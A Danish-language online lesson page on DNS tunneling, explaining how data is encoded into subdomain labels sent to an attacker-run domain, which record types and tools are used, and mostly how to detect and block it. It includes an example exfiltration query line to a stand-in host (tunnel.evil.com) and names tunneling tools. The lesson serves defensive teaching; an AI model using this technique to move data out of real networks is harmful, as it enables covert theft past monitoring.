Cyber Security Academy · Lektion

DNS-tunneling og exfiltration

smugl data ud over DNS.

Lektion 3 af 413 trin

DNS-tunneling og exfiltration er en gratis Cyber Security Academy-lektion på CoddyKit. Dette er lektion 3 af 4. Du kan læse alle 3 lektioner i dette læringsspor gratis i deres fulde længde — derefter låser CoddyKit PRO alle lektioner op samt praktiske øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Den er en del af læringsforløbet i Cyber Security Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. Cyber Security Academy-kurset indeholder 4 lektioner i alt.

Datasmugling over DNS

DNS-tunneling koder vilkårlige data ind i DNS-forespørgsler og -svar og omdanner navnesystemet til en skjult kommunikationskanal. Da næsten alle netværk tillader DNS at forlade netværksperimeteren, er det en foretrukken vej til dataeksfiltrering og kommando og kontrol (C2).

Hvis din firewall blokerer alt bortset fra, at resolveren stadig svarer, kan angribere føre en fuld tovejsforbindelse gennem DNS.

Sådan fungerer kanalen

Angriberen kontrollerer den autoritative navneserver for et domæne, f.eks. tunnel.evil.com. Implantatet koder udgående data ind i underdomænet (etiketten længst til venstre) i forespørgslerne:

  • Data sendes ud som <base32-chunk>.tunnel.evil.com.
  • Den autoritative server returnerer instruktioner i TXT-, CNAME- eller NULL-records.

Hvert forespørgsels-/svarpar indeholder en lille del af nyttelasten.

ZXhmaWx0cmF0ZWQtc2VjcmV0.tunnel.evil.com
# Encoded chunk smuggled in the query label

Valg af kodning

DNS-etiketter skelner ikke mellem store og små bogstaver og har en begrænset længde, så binære data kodes normalt med Base32 (Base64 blander store og små bogstaver og bruger usikre tegn). Begrænsninger, der skal overholdes:

  • Hver etiket må højst være på 63 tegn.
  • Det samlede navn må højst være på 255 tegn.
  • Derfor indeholder hver forespørgsel højst nogle få hundrede bytes.

Den lave overførselshastighed er grunden til, at eksfiltrering over DNS er langsom og kræver mange forespørgsler, hvilket også gør den nem at opdage.

Anvendte recordtyper

Forskellige recordtyper maksimerer kapaciteten i svarretningen:

  • TXT — store fritekstnyttelaster, den primære transportform for C2-svar.
  • NULL — rå bytes, brugt af ældre værktøjer som iodine.
  • CNAME / MX — moderat kapacitet, falder ind i legitim trafik.
  • A / AAAA — lav kapacitet, men meget almindelige og diskrete.

Almindelige værktøjer

Kendte tunnelværktøjer, som du bør kunne genkende i detektioner:

  • iodine — IP-over-DNS-tunnel, der bruger NULL/TXT-records.
  • dnscat2 — krypteret C2-kanal over DNS.
  • DNSExfiltrator — trinvis fileksfiltrering.
  • Cobalt Strike DNS-beacon — almindelig i red-team-øvelser og virkelige indtrængninger.

Disse værktøjer har genkendelige forespørgselsmønstre og entropisignaturer.

Langsomme og hurtige tilstande

Angribere justerer tunnelen: En langsom og lavfrekvent profil sender få forespørgsler i minuttet for at undgå volumengrænser og egner sig til diskret eksfiltrering af små hemmeligheder som legitimationsoplysninger eller nøgler.

En profil med høj datahastighed maksimerer antallet af forespørgsler til interaktiv C2 eller masseoverførsel og bytter diskretion for hastighed. Detektionslogikken skal kunne fange begge yderpunkter.

Detektionssignal: Entropi

Kodede underdomæner ligner tilfældige strenge og har derfor høj entropi sammenlignet med naturlige domænenavne. Beregning af Shannon-entropi pr. etiket er en stærk heuristik.

Legitime navne har en tendens til at kunne udtales og have lav entropi; xj4k9d2mq7zp1.tunnel.evil.com skiller sig ud. Markér domæner, hvis underdomæneentropi overstiger en kalibreret tærskel.

Detektionssignal: Mængde og længde

Andre adfærdsmæssige indikatorer:

  • Usædvanligt højt antal forespørgsler til ét domæne fra én vært.
  • Lange forespørgselsnavne, der nærmer sig grænsen på 255 byte.
  • Uforholdsmæssigt mange TXT- eller NULL-records.
  • Mange unikke underdomæner under ét overordnet domæne (høj kardinalitet).
  • Forespørgsler til et nyoprettet domæne med lavt omdømme.
# Top talkers by unique subdomain count per parent domain
sort dns.log | awk '{print $domain}' | sort | uniq -c | sort -rn | head

Derfor hjælper udgående filtrering

Slutenheder bør aldrig foretage DNS-forespørgsler direkte til internettet. Tving alle klienter gennem interne resolvere, og blokér udgående UDP/TCP 53 i firewallen.

Det leder DNS gennem et kontrolleret kontrolpunkt, hvor du kan logge, inspicere og anvende trusselsintelligens. Det afbryder også implantater, der fastkoder eksterne resolvere som 8.8.8.8.

Lagdelte modforanstaltninger

Kombinér kontroller for at lukke tunneling ned:

  • Centralisér navneopløsningen, og blokér direkte adgang til ekstern port 53.
  • Implementér en DNS-firewall / RPZ med feeds om omdømme.
  • Opret alarmer for entropi, forespørgselslængde, NXDOMAIN-rate og kardinalitet pr. domæne.
  • Begræns hastigheden, og sæt om muligt et maksimum for forespørgselsstørrelsen.
  • Hold øje med DoH til ukendte slutpunkter, som skjuler tunneling i HTTPS.

DoH: En blind vinkel i detektionen

DNS over HTTPS pakker forespørgsler ind i TLS på 443, så traditionel overvågning af port 53 ser intet. Et implantat, der bruger DoH til et uautoriseret slutpunkt, kan føre data gennem tunnelen uden at blive synligt for passiv DNS-logning.

Afhjælp dette ved at fastlåse slutpunkter til en godkendt DoH-resolver, blokere kendte offentlige DoH-IP-adresser og -værtsnavne på administrerede enheder samt inspicere TLS SNI og destinationens omdømme.

Hurtigt tjek

Test dine detektionsinstinkter.

Opsummering

DNS-tunneling misbruger underdomæner i forespørgsler og records i svar (TXT, NULL, CNAME) til at oprette en skjult kanal til eksfiltrering og C2. Overførselshastigheden er lav, så det er langsomt, men diskret. Værktøjer som iodine og dnscat2 efterlader genkendelige mønstre.

Opdag det med analyser af entropi, forespørgselslængde, mængde og kardinalitet; forebyg det med centraliserede resolvere, udgående filtrering, DNS-firewalls/RPZ og kontrol over DoH. Næste emne er, hvordan DNSSEC og filtrering beskytter navnesystemet som helhed.

Gratis at komme i gang

Lær Cyber Security Academy med en AI-underviser — gratis

Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.

Kurser
76
Lektioner
303

Ofte stillede spørgsmål

Er lektionen “DNS-tunneling og exfiltration” gratis?

Ja — alle 3 lektioner i læringssporet Cyber Security Academy, inklusive “DNS-tunneling og exfiltration”, kan læses gratis i deres fulde længde her på webstedet. Derefter låser CoddyKit PRO alle lektioner op samt interaktive øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Cyber Security Academy-kurset indeholder 4 lektioner i alt.

Hvad lærer jeg i “DNS-tunneling og exfiltration”?

smugl data ud over DNS. Du øver dig i Cyber Security Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.

Skal jeg have erfaring for at begynde på Cyber Security Academy?

Der kræves ingen tidligere erfaring. Cyber Security Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 3 af 4.

Hvor lang tid tager lektionen “DNS-tunneling og exfiltration”?

De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.

Kan jeg skrive og køre kode i denne Cyber Security Academy-lektion?

Ja. Alle Cyber Security Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.

Alle lektioner i dette kursus

  1. Sådan fungerer DNS, og dets risici
  2. DNS-spoofing og cache poisoning
  3. DNS-tunneling og exfiltration
  4. DNSSEC og DNS-filtrering
← Tilbage til Cyber Security Academy